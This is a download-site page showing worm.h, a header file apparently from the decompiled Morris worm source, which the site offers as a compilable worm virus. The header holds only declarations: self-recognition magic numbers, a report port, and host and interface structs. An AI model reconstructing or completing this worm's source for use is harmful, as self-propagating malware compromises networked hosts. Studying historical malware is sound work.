⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 worm.h

📁 著名的WORM病毒。 在UNIX/LINUX下可以编译成功。 注意看MAKEFILE。
💻 H
字号:
/* Magic numbers the program uses to identify other copies of itself. */#define REPORT_PORT 0x2c5d#define MAGIC_1 0x00148898#define MAGIC_2 0x00874697extern int pleasequit;		/* This stops the program after one				 * complete pass if set.  It is incremented				 * inside of checkother if contact with another				 * happens. *//* There are pieces of "stub" code, presumably from something like this to   get rid of error messages */#define error()/* This appears to be a structure unique to this program.  It doesn't seem that * the blank slots are really an array of characters for the hostname, but * maybe they are. */struct hst {    char *hostname;    int l4, l8, l12, l16, l20, l24, o28, o32, o36, o40, o44;    int o48[6];					/* used */    int flag;					/* used */#define HST_HOSTEQUIV	8#define HST_HOSTFOUR	4#define HST_HOSTTWO	2    struct hst *next;				/* o76 */};typedef struct {    char *name;    unsigned long size;    char *buf;} object;extern struct ifses {    int if_l0, if_l4, if_l8, if_l12; /* unused */    int if_l16;			/* used */    int if_l20;			/* unused */    int if_l24;			/* used */    short if_l28;		/* unused */} ifs[];extern nifs;extern int ngateways;extern object objects[], *getobjectbyname();extern int nobjects;/* Only used for a2in().  Why?  I don't know. */struct bar {int baz;};extern struct bar *a2in();

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -